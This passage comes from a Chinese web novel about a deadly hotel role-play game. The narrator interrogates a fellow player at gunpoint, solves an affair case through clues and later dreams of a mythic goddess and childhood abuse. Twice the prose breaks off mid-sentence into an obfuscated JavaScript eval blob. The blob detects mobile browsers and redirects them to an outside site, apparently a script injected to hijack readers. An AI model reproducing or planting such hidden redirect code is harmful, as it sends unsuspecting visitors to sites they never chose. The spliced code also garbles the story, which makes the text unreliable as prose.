右拐进入403和404所在的走廊,刺目的红终于从视野中彻底消失了,我不禁松了一口气:我的嗅觉神经甚至已经习惯了腻得刺鼻的血腥味,再在五楼呆下去,我都怕自己得血盲症。 虽然因为氧化发黑,饱和度已经不算很高,但是对心理造成的冲击,也属实不小。 我们几乎是肩挨着肩并排往前走,路过403,柳白巳没停,一直跟着我走到404门口。我也没问他为什么不回房,掏出房卡,嘀一声刷卡开门,说:“进来吧。” “你……你在邀请我,进去吗?” 一瞬间他仿佛被冻结在原地,紧接着又咔嚓一声冰雪消融,纤长羽睫扑闪扑闪,水汪汪的眼睛睁圆了,脸上露出不敢置信的狂喜,“真的吗?我可以进你的房间?” 真有这么高兴?连那对摄像头状的瞳仁看起来都没有那么吓人了。 “真的真的,就是你,进。” 能不能有点儿出息啊。 我是说我自己。 本来就已经长得够漂亮了,还笑那么灿烂,是想勾引谁啊你,真是的,一点男德不守。 我刻意没去拉他的手,而是握着他腕子,入内后将人径直扯到卧室。他脸上的惊喜越来越大,表情也越来越娇羞,耳根和脖子再度染上一层绯色,像颗番茄,嘴角就没放下来过。 真是的,他今天到底脸红了几次啊?我看他就保持这种好状态,去唱红脸都不带上妆的,戏服一换直接就能上台。 直到我拉着他走到床前,俩人并排站着(有点像罚站),他左扭右扭,一副明明迫不及待却又不得不装矜持的样子,眼睛也滴溜溜乱转,不知道又在打什么鬼主意。 但见我半晌没动静,柳白巳偷偷觑着我脸色,嘴唇紧张地抿成了一条线,期期艾艾道:“不、不继续吗?” “想什么呢。” 我乜斜他一眼,一抬手,直奔他如花似玉的脸蛋儿而去,在他充满期待的目光里—— 霍地转了个方向,一指冲天。 “你房间也有这个?” 24. 各怀鬼胎 “嗯?” 肉眼可见地,柳白巳的低眉浅笑骤然一僵,在我坚持的目光里,不得不抬头跟我一起抻着脖子往上看。 这个任务发布位置还真是有够拧巴的。 「1.认识你自己!(已完成) 2.在五人中找出目标和委托人(已完成) 3.取证后,将证据交给委托人 4.成功存活到第七天 5.成功逃离」 啊!果然,他就是W!任务2终于完成了! 还好他没骗我。不然,我真的会叫他尝尝我的厉害。 “你也是玩家的话,你房间一定有这个。”我不依不饶,“否则我依旧怀疑你在骗我。要么告诉我任务内容,要么我现在就一枪把你毙了,自己去403看。” 咔哒一声,子弹上膛,我以迅雷不及掩耳之势掏出枪—— 隔空瞄准他额心。 “你、你拿枪对着我?” 柳白巳有一瞬间没反应过来,神情茫然,怔怔在原地站了片刻,艳得似乎就要滴下鲜血的嘴唇颤抖着,双眼死死瞪着我。 “你竟然拿枪对着我?” 他的身体摇摇欲坠,一副脆弱到濒临崩溃的样子,仿佛我朝他举枪的场景比何塞·阿尔卡蒂奥的血流穿过街道和房屋去向他母亲乌尔苏拉报信还要魔幻。 我不耐烦地扬扬枪口,“双手举起,放在两侧。” “你……不相信我吗?” 迁延许久,柳白巳仿佛终于接受了眼前的现实,脸上血色一点一点褪得干净。他缓缓举起双手,眼睛却很执拗地望着我。 “我永远不会伤害你。” “我只相信我自己。现在,告诉我,你卧室天花板上的任务内容,我听完再决定要不要相信你。” “好,既然你想知道,那我当然会告诉你。你想要的一切,我都会为你达成。” 我不为所动,“要一字不差。” “一字不差。” “包括进度状态?” “包括进度状态。” 他自始至终紧紧盯着我,下眼睑都漫出薄红,然后深深呼吸一口气。 “你听好了,我只说一遍。” “快说吧,别废话了。” “任务一是‘保持清醒,不要给病毒任何感染你的机会!’,这项任务当前状态是‘进行中’。 “任务二是‘没想到竟然会在这个陌生的地方遇见故交,真是意外之喜!在失意之余,这何尝不是一种安慰呢?快用独属于你的方式和ta打个招呼吧!’,这项任务的状态是‘已完成’……” “等一等。”我及时叫停,“这里说的是女她还是男他?” 既然用上了“没想到”和“意外之喜”这样的字眼,说明“黛西”完全没料到自己会和这项任务所指向的目标人物在此重逢,只是偶遇而已。 那他的任务2目标就肯定不是婚外情事件的另外两个当事人了。 “上面是用小写英文字母写的,并未指明性别。” 柳白巳摇摇头,颊边的金色发梢晃出极细微的幅度,犹如洒满阳光的柳条随风而动,“一开始,我也不知道指的是谁。” “但是你已经完成了这项任务。” 虽然必须一直保持着举枪威慑的动作,但这丝毫不影响我转动大脑,“说明你已经知道自己要‘打招呼’的目标是谁了。” “你可以猜一猜。” 眼角的湿痕还未干,他竟已恢复了镇定,用鼓励的目光注视着我,甚至慵懒地一歪身子,没骨头似的往后一靠,倚墙,双腿交叠,完全视黑洞洞的枪口为无物。 我不由得上前半步,将枪口更迫近他,为自己再次筑起一道心理防线。 这家伙心理素质还真强大,铜墙铁壁一样。 真不知道要怎么做才能令他感到慌乱。 “好,那我就猜一猜。”我欣然接受挑战。 首先我得明确,柳白巳扮演的角色是W,也即聘请私家侦探调查自己丈夫婚外情的委托人。 那作为我调查目标的沃克和莱特,在这方面有没有透露过什么? 我稍一思忖,便立刻推理出了谜底。 “很简单,你的目标是伊丽莎白对吧?” 柳白巳双眸一亮,上身都向前倾斜几度,额头毫不避忌地撞上我的枪口,刘海吞没一小截枪身,发出沙沙的轻微摩擦声,嘴角弯弯,“Bingo!你是怎么知道的?” 我稳住手腕,说:“人的衣着可以换,头发可以染,饰品可以变,甚至身份也可以造假,但只有一点,短时间内无法遮掩。” “为什么?” “因为很有可能根本意识不到要去伪装。” “哦?那这一点,是什么?” “习惯。” 还记得我与沃克第一次对话的场景吗? 他在走廊上叫住我,向我征询意见,说要给与我同为亚洲人的妻子准备结婚纪念日礼物——啊!难怪他用的都是"darling""honey""sweetie"之类的爱称,从来没有说过"wife",是我一直先入为主,认为他的结婚对象是女性! 这么说来,我原先的判断是对的,目标的确就是沃克——但莱特房间里的石楠花味和小孩嗝屁套又是怎么回事…… 噢,我明白了。 刻板印象真是要不得啊,我必须时刻提醒自己切莫囿于固有观念,要放活脑筋去思考才行。 这一点就先放到一边吧。重点是,我当场就牢牢记住了他那样式新奇的钱包——很常见的矩形,皮质也没有什么特别,但就是拉链起点有一块金属圆片,上置按钮,两侧各镶嵌着一枚小小的数字转盘。 他想要打开钱包,非得完成三个步骤不可:一,旋转转盘,输入预先设置好的两位数密码;二,按下按钮,使被锁定的链头解锁;三,捏住链头,拉开拉链,方能打开钱包。 所以这无疑是个密码锁钱包。 我一开始还奇怪他为什么非要用这么繁琐的钱包,不嫌麻烦么?但眼下听了柳白巳的任务内容,再结合伊丽莎白的房间失窃一事,要想推理出来,实在是再容易不过。 甚至都不需要如何动脑,只要记性够好,并具备一定的检索能力和联想能力,便足以把这几件事串起来了: 带锁的钱包当然不可能用来防自己,那就只能是防别人。也就是说,沃克身边的某个人很可能患有病理性偷窃,即俗称的“偷窃癖”。 偏偏在这当口,伊丽莎白房间里的食物被偷了,这难道是巧合吗? 非也。 因为据伊丽莎白所说,自己房间里小冰箱的食物被偷,应该是第三天之前发生的事,而酒店停止供餐是第二天中午才开始。 加之每个房间的小冰箱都很充裕,我们六个人的职业身份又都很体面(私家侦探好像不是什么体面的职业,哈哈),平时都保持着较为良好的社会名声。 总而言之,一是并非穷途末路的现状,二是起码有职业操守做下限的个人道德,在这两者的加持下,纯粹因为生存危机而去偷窃的概率小得可怜。 既然不是因为快饿死才去偷,那就是因为别的原因去偷咯? 比如自身的心理疾病。 其实还有其它可能性有讨论的价值,譬如沃克的钱包也许是用来防莱特的,但是别忘了,他俩连幽会都要偷偷摸摸换个城市,平时根本不可能长期接触。 再者,为什么大家听到伊丽莎白的房间失窃,反应多是平淡? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609684|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为每个人的房间都只能通过刷房卡进入! 谁都会想:要么是伊丽莎白粗心大意没关好门,要么是她丢三落四把房卡弄丢了,否则不可能失窃。反正偷东西的人不是我,被偷的也不是我,何不事不关己高高挂起呢?这趟水本来就已经很浑浊了。 但同时,这件事也给每个人敲了一道警钟:有人开始动歪脑筋了。 我们六人萍水相逢,本来就毫无信任可言,这下更是岌岌可……等等,好像只有我是局外人。 这游戏怎么总喜欢打我脸。 除了像我和柳白巳这样的,呃,异能者,有的是手段和力气,一般NPC估计想破脑袋都想不出第二种进房间的方法。 我说:“柳白巳,你——不,是黛西,她是伊丽莎白的学生对吧?” 20岁,学生;74岁,大学教授。全对上了。 只有一点我没想明白,那就是W,也即委托人,究竟是女是男? 我是这么想的,也就这么问出口了。 不管柳白巳会不会回答,先问了再说。 出乎意料地,他直截了当道:“男的。” 出乎我意料的不是他的答案,而是他对此毫无保留的态度——就这么直接告诉我了? 真的没关系吗? 没料到的还不止于此,他又补充说:“载入游戏前需要通过发送邮件的方式确认所选择的身份,‘W’只是我当时随手填进‘发件人’一栏的,这个角色的真名叫Daley。” 果不其然,其实沃克的表现本来就足以印证我的猜想。 加之游戏一开始就看过那份粗糙的身份资料上竟没有写明性别,这更能说明问题所在。 如果玩家想当然地认为看到照片就能确认NPC的性别,那就已经无知无觉走进游戏制作人的陷阱里了。 但柳白巳能这么痛快地告诉我,还真是令我吃惊呢。 毕竟玩家与玩家之间极有可能形成竞争关系,所以我已经考虑过他会对我有所隐瞒的可能性。 不过就目前听到的两条任务内容来看,我们有很大几率不会成为敌对关系,甚至更像绑在一条船上的蚂蚱。 当然,这取决于我们扮演的角色所处的立场:如果柳白巳选择扮演的角色是沃克那个渣男,那我恐怕连这个门都不会让他进,更遑论像现在这样平心静气地面对面聊天。 “怎么,很惊讶我会直接告诉你吗?” 柳白巳突然站直身,额头抵住枪口,倒逼着我一步步后退,目光灼灼,“我早就说过,我不可能会伤——” “不会伤害我,不代表就对我毫无保留。” 这家伙不知道又犯了什么病,我毫不留情打断他,“这事一码归一码。” “你真聪明,人家好喜欢。”他含情脉脉地给我抛了个媚眼。 这家伙,对于川剧变脸已经掌握到如此炉火纯青的地步了吗? 我面无表情道:“不要侮辱我。” 就像拿“漂亮”形容柳白巳实际上是在羞辱他一样,拿“聪明”形容我,严格来说其实也不是夸赞。 他没有接话,只是用一双会说话似的眼睛,笔直地端详我的脸—— 我能感受到这股滚烫的目光不断流连于额头、鼻梁、嘴唇上,甚至发间露出的一星耳垂也没有放过。 “你还是和以前一样。” 好半晌他才恋恋不舍地收回视线,面露怀念之色,“虽然外貌有些改变了。” 我说:“不要说得跟很了解我一样。继续。” “好吧。”他耸耸肩,“任务三是‘想想你来到这间酒店,原本是要干什么吧!背叛和欺骗点燃了你的怒火,你难道不想让那个贱人下地狱么?’ “这项任务目前还未完成。” 25. 伊德海拉 所以,这任务是要他动手杀人吗? “任务四是‘成功存活到第7天’,任务五是‘成功逃离酒店’,这两项都是未完成状态。” “‘酒店’?” 我抬头看了看天花板,千真万确只有“成功逃离”四个字,“为什么我这边没指明?你没有撒谎吧?” 我到现在还不清楚,所谓的“成功逃离”到底是要我逃离哪里。 “哎?不知道呢。”柳白巳莞尔一笑,“冤枉啊大人,小的哪里敢撒谎。” 嘴上虽是这么说,但我看他分明一点儿也不怕嘛。 “还有吗?” “没有了,最后一项。” 又是咔嗒一声,我这才把枪收回口袋,右手拇指把保险装置推至SAFE。 “现在你打算怎么办?” 威胁解除,他干脆装也不装了,像在自己家似的往我床边走,刚想坐下,被我瞪了一眼,又站直了,一副气鼓鼓的样子。 “我不可以坐你的床吗?我都不计较你拿枪指着我了!还是上了保险栓的枪!” 我难得对他产生了些耐心,解释道:“你又不是不知道我有洁癖,穿着外出的衣服绝对不可以坐床,得换了睡衣才能坐。” 他顿时瞪大了眼,“你嫌弃我脏!” 给点阳光就蹬鼻子上脸,啧,给他惯的。 我古井无波地一抿嘴,真想朝他翻个白眼。 “先吃饭睡觉吧,刚才回来的时候看餐厅门没打开,也不知道他们回来了没有。”我招呼他,“来外间坐。” “就来。”他很快就屁颠屁颠地跟过来了。 我问他:“你的小冰箱里还有食物吗?”然后把一只苹果和一罐碳酸饮料放在独脚茶几上。 苹果红彤彤,蜡皮油亮,看着还挺新鲜;碳酸饮料罐子绿得刺眼,用白色印着大大的"Sprite"。 “就吃这么点儿?!” 他看了看饮料和苹果,又看了看我,没动,眼里已经写满了怜惜心疼,好像我很可怜似的,“宝宝,我简直要怜爱你了……” “那不然呢,非常时期,不节省点儿怎么行?” 我已经在咯吱咯吱啃苹果了,丰沛甜美的汁水径直流进喉咙里,差点被呛住。 “你到底吃不吃?这已经是我能匀出来最多的份儿了。” 其实我也不喜欢吃苹果,倒不是因为它常见且耐放的缘故,而是我吃了之后总是会比没吃之前更饿,似乎它会刺激我的胃酸加速分泌,每次吃完没多久都饿得要命,烧心烧胃的那种要命,非常助消化。 所以不到万不得已我是不会吃苹果的——我不是没挨过饿的人,心里很清楚饥饿的滋味有多难熬。 “你吃吧,都给你吃。”他把靠近自己那一侧的食物都推过来,“不够我那儿还有,一会儿就全都拿来给你,有你喜欢的黄油曲奇哦。” “那你呢?”我咀嚼苹果的嘴一顿。 这一点他也没说错,我最喜欢的饼干的确是黄油曲奇。 “我?”柳白巳也一顿,旋即又绽开笑容,“我有吃的,放心吧。” 我不是没发现他的异样,只是本人都这么说了,我总不能强逼着喂他吧,虽然他一副看起来很乐意的样子。 “对了,问你件事。你知道有什么雕像是人身蛇尾的吗?头发很漂亮,长长的、卷卷的,像莫莉的头发,眼睛被布条蒙住,上半身有明显的女性特征……哦对,名字里可能还带有‘伊德’两个字。” 闲着也是闲着,我突然想起了梦中那座口吐人言的雕像。 虽然我已经很清楚那是萧鸮的化身,但还是不明白她为何非得以这副样子出现,且不言明用意。 她是实用主义者,效率至上,从不干毫无意义的无聊事,这其中一定别有深意。 “你是说,伊德海拉?” 柳白巳故意卖萌似的歪了歪头。 听着挺像,应该是叫这个名字,于是我点点头。 “那是克苏鲁神话中的外神之一,据说外表变幻多端,但常以人类青年女子的形象出现,信徒也多为女性。小沃尔特·C·德比尔在《伊德海拉行经之处》中提到,她与山川大地有着深厚的联系,吞噬万物以汲取所需能力,灵魂独一而身体众多,逃离死亡和诞生,却无法逃离变化,因此一说称其为‘大地之母’和‘冥界女神’。” 我听得云里雾里,但柳白巳滔滔不绝,并没有停下来的意思。 看来他也对我的智商很有信心——我请问呢,有没有人在乎一下我失忆的事情? 现在要跟上他的确稍显吃力。 “对于她的能力,有人认为与梦境相关,她通过梦境共享思想,信徒们只能看清她美丽的样貌,却始终无法看清具体,因为没有任何外形能够给予她真正的美丽。而且,人们也只能看到她想让信徒看到的一面、而看不到她不想被看到的其它,因此也有人将她称为‘梦之女巫’。” “你懂的还真多啊,嗯?”我咬牙切齿地说。 我对欧洲神话的了解真是贫瘠得令人汗颜,看来还需要多读书。 他好像没有注意到我的怨气,颇为开朗道:“我当然知道了!因为她是我们的……” 对了,那堆书里,似乎有一本就是有关于古希腊神话的,叫什么……《变形记》?去找找看吧。 柳白巳后面的话我没听清,但也没心思去管了,现在还是恶补一下要紧。 夜深了,这家伙还没有要走的意思,我也懒得管他。正打算通宵苦读,手里的书却被一把夺走,“怎么不睡?不是头痛吗?” 经他一提醒,我才发现自己正用屈起的拇指关节一下一下按压鼓胀的太阳穴,但我看书看得入迷,竟完全没意识到头痛这回事。 我有点着急,说:“还不困,就差几页了,你让我看完。” “你现在还是喜欢一口气把书看完吗?” 他弯腰,用虎口卡在书侧,把书又递还给我,四根白净纤长的手指用了点力按在泛黄的书页上,指甲剪得整整齐齐,饱满甲床泛着健康的粉色。瀑布般飞流直下的,是他长长的墨发,发尾扫过纸上的字母,很清凉的样子。 我定睛一看,他发尾所指的地方,写着: 「Insomnisenimomniafacit,quosvultessedeos,(在梦中因为他创造一切,想要那些成为神,) Autheros,autbestias;sedipsenullosstrepitus(或英雄,或野兽;然而他自己没有任何声音) Facientibusalisvolitatperaeraquietis...(正在创造的人们翅膀飞过宁静的天空……)」 “不看吗?”他催促我。 唉。我这塑料拉丁语……书到用时方恨少啊。 我稍稍抬起头,视线焦点便自然地集中到他的双唇——唇瓣的颜色浅了点,因此显得微微张开的内里愈发幽深,像一只漩涡般的眼睛,很湿润、很诱惑地看着我,那颗小小的唇边痣便理所当然地成为了一颗妩媚又勾人的泪痣。 我不想变成在塞壬的歌声中发狂的奥德修斯,于是竭力从这种致命的吸引力中脱身。一仰脖,与他四目相对,这才发现他右眼——不,在我这边看来是右,但那实际上是他的左眼——卧蚕靠下一些的地方,真的有一颗泪痣,发尾勾起的弧度正好拂过它。 狐狸精。 “把衣服穿好。”我面不改色,伸手把他上衣领口穿着的抽绳一勾,收紧了,柔软的丝绸布料便自动向中间聚拢,花瓣般层层叠叠遮住奶白色的浅沟。 “穿个开深V的衣服还故意俯下身,别以为我不知道你脑子里想的是什么。” 这种衣服怎么叫来着?荷叶边深V衣领,蓬蓬袖,白衬衫,复古宫廷风,像中世纪主题的话剧舞台装——完了,我光记得深V了。 都怪柳白巳,没安好心! 我一把抢回书,他顺势收手,直起腰,一边整理着领口,一边嗔怪道:“你不要光知道,要付出行动啊!我们都成年了,给你看看怎么了?所以满意吗?” “满意你个大头鬼。”我不为所动地继续翻书,“就这,再练练吧你。” 其实我还是挺喜欢薄肌的,胸更大点就好了…… “拿倒了。”他提醒道。 我从善如流地把书正过来。 「Morpheus,somniorumprinceps,volatpersomnia,(Morpheus,梦境之主,飞翔于每一个梦中,) Ingensalis,quaeneminemexcitatsonitum,(巨大的翅膀,它激起无人的声响,) Quamvisincaelorapidumvolvituraxem...(尽管在天空中飞快旋转天轴……)」 “你干嘛?” 我有点受不了了,把书放下,柳白巳那张脸便直通通暴露在我视野中。 冲击力好强。 “你不是要看书?” 他已经飞快整理好被我扯乱的衣领,正一手托腮,促狭地眨眨眼——那里头简直像汪着两窝水,又湿又亮,然后下巴朝书的方向点了点,“怎么不接着看了?” “你这样我怎么看得下去?” “你看书,我看你,没毛病啊。” 他很无奈地一摊手,“古人云:‘故天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能’——你连在我火热的注视下专心看书都做不到,还是趁早洗洗睡吧。” 傻子才看不出来他想让我早点休息。我只好实话实说:“我不想睡觉。” “怎么就不想睡了呢,你看你眼睛红的。” 柳白巳像出示证件似的,手上一翻,又把那面小镜子举到我面前。 我没有先看向镜中的自己,而是先看了看这面折叠镜的外壳:整体呈银色,表面凹凸不平,像3D的波浪纹路,但并非外力损伤所致,而是特意设计成这样的。 我随口说了句:“这镜子挺漂亮的。”然后才看向镜中:眼白微微泛黄,又布满了血丝,整个人形容憔悴蓬头垢面,一副很疲惫的样子。 果然,电视台就是在骗人,患上失眠症的人才是已产生抗体、不可能被感染的,因为不入睡就不会做梦,更不会做噩梦,感染也就无从谈起了。 好一招颠倒黑白。这么一看,“那些东西”智商其实不低啊?我甚至怀疑它们有组织有秩序,已经形成了一套社会规则。 那为什么不用电梯上来? 问题如果不是出在它们身上……难道是出在电梯上? “好用吧?这是你以前送给我的哦。”柳白巳还在把玩那面折叠镜。 “我去洗澡。” 我不想跟他共处一室了,放下书就径直往浴室走。 “我也去。” 他马上站起来,亦步亦趋地跟在我屁股后头。 烦人精! 我回头,难以理解地瞪着他。 “OK,我在外面等你。”柳白巳飞速改口,举起双手,做出缴械投降的动作。 “你为什么不回去?” 我为他想了很多个借口,其中不乏非常扯蛋的,比如怕黑,比如怕一个人呆着,比如怕破门而出的伊丽莎白,比如怕其它闻着人肉味找上来的怪物(至今我还不知道应该如何称呼它们)伺机而入…… 但没想到他很直白地说:“人家想守着你嘛。你看,要是我不在,你是不是就打算一整晚都不睡了?” 我有点想念“黛西”了,她比柳白巳要好招架得多,他太难缠了。 不过我可能也被他感染了,在他这里,说实话好像不是什么难为情的事。于是我半真半假地说:“我不想睡觉是因为怕做噩梦。噩梦不是感染源吗?” 说着,我将多长了一根尸块手指的右手展示给他看。 停电了,没有空调,我真担心它腐烂发臭。 “你……”我唯一没想到的是他反应居然有这么大,一把抓住我的手,放在眼前皱着眉端详,甚至还想上手去触碰那根恶心的手指,“你究竟做了什么梦?” “这与你无关。”我趁他不备,大力抽回手,径自进浴室里去了。 自来水通常由城市供水网络直接提供,因此酒店供水并没有受到停电影响,但已经没有热水可用,水流也很小,不知道什么时候就会彻底停水。 我耐心全无地就着淅淅沥沥的冷水匆匆擦洗一番,穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609685|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好衣服就出去了。 浴室门基本上可以说是位于玄关,因此我一出去,某人翘着二郎腿靠坐在沙发背上翻书的大爷形象便映入眼帘—— 其实不丑,反而像个男模,一双笔直的大长腿被垂感极好的黑丝绒束脚裤所包裹,还穿了双黑色高筒马丁靴…… 总之就是十分赏心悦目,但我是不会承认的。 “你怎么还没走?”我擦着头发,突兀出声。 “啊,你出来了。” 一语惊醒梦中人。柳白巳望向我,连忙放下书,拍了拍沙发把手,“快过来,我来帮你擦头发吧。” 这两把米黄色皮沙发都是一人座,两个人坐倒也不是不行,只是会略显拥挤,因此他还是站了起来。 我没吭声,只是走过去坐在了另一张沙发上。 “啊,真是的,难道还在嫌弃我吗?” 他小小地抱怨了一句,接过我手里的毛巾,力道堪称轻柔地揉搓起来,“好香噢……” “你没洗澡。”我随口解释道,视线不由自主落在那本他看过的书上—— 《傲慢与偏见》…… 好吧,我随口说的,没想到他真的听进去了。 “人家没有睡衣嘛。” “我给你准备。” “真的嘛!不对,你哪儿来的男式睡……衣?” 我的头皮猛地一紧——被扯的。 虽然不痛,但我心中仍是警铃大作。 “你……我给你现做行了吧?现在就养蚕缫丝纺线织布踩缝纫机,保证绝对没人穿过。现在就去洗澡。” “好咧。”他尽职尽责地给我擦干头发,拿着毛巾就兴高采烈地进了浴室。 居然真的信了……连问都不问是怎么做的吗? 这家伙,心真不是一般的大。 他动作倒也快,才五分钟就喊我递睡衣。我透过门缝给他递进去,回来接着把那本《变形记》看完了。 现在我愈发坚信,“我”带来的书都不是随手为之,每一本都经过精心挑选,自有其用武之地,包括这本看似无法从中变出工具的《变形记》,也许它冥冥之中就起到了别的作用—— 因为它是这里面唯一一本古希腊神话相关。 我又打开电脑,安插在沃克和莱特那里的窃听器所录入的音频内容会被自动保存,但因为停电的缘故,我已经减少了使用它的频率。 我插上耳机,开二倍速听录音。 沃克那边始终静悄悄的,除了一次刷房卡、开关门的声响外,什么动静都没有。 我并不感到意外,这个男人身上散发着一股危险的气息,也许窃听器已经被他发现了也说不定。 莱特倒是另一个极端,话又多又琐碎,像每一个酗酒成瘾的酒鬼那样,没有多少清醒的时间。我甚至听到他在恶狠狠地咒骂客房保洁为什么没给他打扫房间换床单,害得他现在不得不亲自动手做这些事情。 听得我猛地打了两个喷嚏。 没听到什么有用信息还白白被骂一顿,真冤枉。 “在听什么?” 刚合上电脑、摘掉耳机,某个水嫩鲜葱的美男子正好出浴,身上穿着粉扑扑的毛绒绒浴袍,一只手拿着刚才我用过的毛巾擦拭湿漉漉的头发。 动作间,一股闻起来很多汁的柑橘味飘过来,酸酸甜甜,清冽又芬芳,叫人不由口舌生津,是酒店提供的洗发水和沐浴露散发出的香气,和我身上的一样。我甚至能看见透明的水珠顺着乳白沟壑滴溜溜滚入……又是深V,失策,不该给他变这身的。 我顿时一阵口干舌燥。 他的头发太长,这样一点点擦,不知道要擦到什么时候。我记得浴室里明明有吹风机——啊,忘记停电了。 囧。 “拿来。”我拉着他坐下,一把夺过他手里的毛巾,“忍一下,很快的。” 话音未落,我的双手已经飞快在他一头乌亮浓厚的湿发上飞快摩擦起来。那劲头,不是我夸张,噌噌噌,不知道的还以为在钻木取火呢,要是换成真木头,早就大火燎原了。 “你、你……可不、不可以……轻、轻点……” 柳白巳被我搓弄得话都说不清楚了,断断续续的。为了压下他不满的抗议,我说:“五分钟,就五分钟,保准给你弄干。你要是乖乖听话,一会儿就让你上床。” “嗯嗯嗯!!” 闻言他猛地激动起来,似乎这句话突然开启了什么机关一样。 我有点想笑,又憋住了,紧绷着脸,毫不留情打破他的幻想:“别多想,盖棉被纯聊天。” “吼,小气啦……不过本来我也还没做好准备。” 他很是失望,气哼哼地用机车腔回我,后面半句小得像冒泡,可还是被我听见了。 我把他一头湿乎乎的头发搓得一团乱,同先前那副齐整柔顺的样子判若两人,看得我自己都忍不住,又想笑。 不过效果还是立竿见影的嘛,看,不到十分钟,已经干到能睡觉的地步了。 “我的头发……” 柳白巳心疼地从炸毛的发尾一捋,捋下几根黑发来。他发质很好,这么长的一头秀发,都不带分叉的。 虽然我的也不分叉就是了。但总归是要比他的短得多。 我安慰他:“这都是平时自然脱落的,只是夹在发丛间,洗头的时候才比较明显而已。” “好吧……”他接受了我的说法,很主动地接过我手里的毛巾,去浴室清洗。 我将始终不离身的贝雷塔塞在枕下,安逸地躺进厚重柔软的被褥间,没一会儿就睡意朦胧。 恍惚中身上一轻,被子被掀开,继而钻入一个什么冰冰凉凉的东西,老大一只,自来熟地紧贴过来,冻得我一哆嗦,不由自主就把自己拔远了些。 是他吗?怎么没打地铺或睡沙发?虽然我的确允诺过可以让他上床……习惯性地就上来了吗? 我们以前难道真的是可以同床共枕的关系? 那我刚才拿枪指着他,是不是很不应该? 他会不会很难过…… 然而我眼皮沉得很,怎么努力也睁不开眼。 那东西也不依不饶地追了过来。 “困了吗?那晚安。” 如细雪覆盖枝头,额头上落下沁凉又轻柔的触感。 26. 第四天始(1) 我又回到了这里,一片无边无际的黑暗,仿佛置身于深渊般的羊水中。 其实我对柳白巳撒了谎。 我不想睡觉的确是因为怕做噩梦,但却不是怕进一步加深感染的缘故。 迷离惝恍间,我飘浮在半空,像一只气球,也像一粒尘埃,虚无,但是存在。 尽管我自己感觉不到这种存在。 像看电影一样,我专心注视着下方的场景。 纯白的墙壁,纯白的地砖,纯白的餐桌椅,以及令人毫无食欲的饭菜和争执。 舞台已经搭好,演员也准备就绪—— “天,这个时候的你在想什么?” 另一个幽灵突然凭空出现在我身边,还是昨晚噩梦过后见到的雕像,只不过体型缩小了两圈,现在跟我差不多高。 然而与昨晚不同的是,她上半身围着一条米色的皮毛——不,乍一看之下,似乎是米色,但再仔细观察一番,才能发现那些兽毛实则并非肉眼所接收到的那样,而是透明无色。 所呈现出的显色效果,恐怕也是光线经由毛发内部的特殊结构多次折射和反射而成;下半身亦不再单单是一条粗壮的蛇尾,又多了几条长满吸盘的章鱼腕足,颇具弹性地飞射而出,在虚空中狂乱地舞动。 这和开卷考有什么区别?她就差把“伊德海拉”四个字写在自己脑门上了。 甫一出现,她马上向我展示了一枚硬币的正反面,然后像转篮球似的将其放置于指尖旋转,这才往下瞄了一眼—— 一见那无面女人正手持菜刀,开了锋的刀刃深深抵在泪流满面的小女孩手腕处,蒙着桑皮纸似的脸已经狰狞地揉作一团,她顿时两肩战战,不忍地闭上眼。 我低下头,看了看自己完好无损的左手,腕子处的皮肤光洁如新,青色的静脉血管像树根一样蔓延。 “嗯?我大概在想……剁就剁呗,还好不是右手。” “你想干嘛?学哪吒割肉还母啊?!你要反抗啊!她打你、骂你,难道你就硬生生受着吗?!” “我没反抗吗?她不让我关房门,我就把钥匙卡在锁孔里,拿锤子敲掉了露在外面的那部分,这难道不算反抗吗?” “这算哪门子反抗?你——” “那我该怎么做?离家出走吗?去喝西北风吗?你话说得倒轻巧,别忘了我当时只有十几岁,走出去,去哪儿?露宿街头吗?!” 我急促地呼吸着,胸口剧烈起伏,下半张脸发凉麻木,仿佛一粒粒跳跳糖在我的脸皮子底下游移跳动,十根手指微微向掌心蜷缩着,僵硬成鸡爪状——我暂时失去了对它们的控制权。 萧鸮吓了一跳,连忙过来捂住我口鼻,“先别说话,吸气!” 我默不作声地浅浅吐气、深深吸气,尽量把逃逸四散的二氧化碳全吸回去。 我对她说:“对不起,刚才本来没想吼你。” “我真服了你了,在异能领域里也会犯病,这我还是头一回知道。”她没有正面回应。 “如果不是拼命忍耐,我也不会那么好运,被怪奇中学录取,觉醒异能,遇见你们。” 没说完,我总感觉心里刺挠,一觉得自己缓过劲儿来了,就迫不及待地张嘴: “萧鸮,我从很小的时候就知道,所有命运赠送的礼物,早就在暗中标好了价格……” “闭嘴!都叫你先别说话了!” 我悻悻地住了嘴。 有这么一个暴躁的小姨,小暮雨肯定很头疼吧? 不过萧鸮这副性子我也能理解:她父母去得早,姐姐姐夫又出了车祸,她要不强硬些,怎么可能在自己还是个十几岁孩子的情况下,带大小暮雨? 还好她的异能早早地就能为她赚钱。别的不说,在这方面,我还真挺羡慕她呢。 萧鸮用一种很复杂的眼神看着我,我从那其中读出了恨铁不成钢的意味——“你藏得还挺好,我都看不出来你竟然经历过这些。怪不得你消化不好,肠胃是情绪器官,从小到大一直呆在这种环境里,不精神崩溃才怪吧? “你现在的状态,其实很危险——知道为什么这次做噩梦,你没有在自己的身体里,而是飘忽于外吗?” 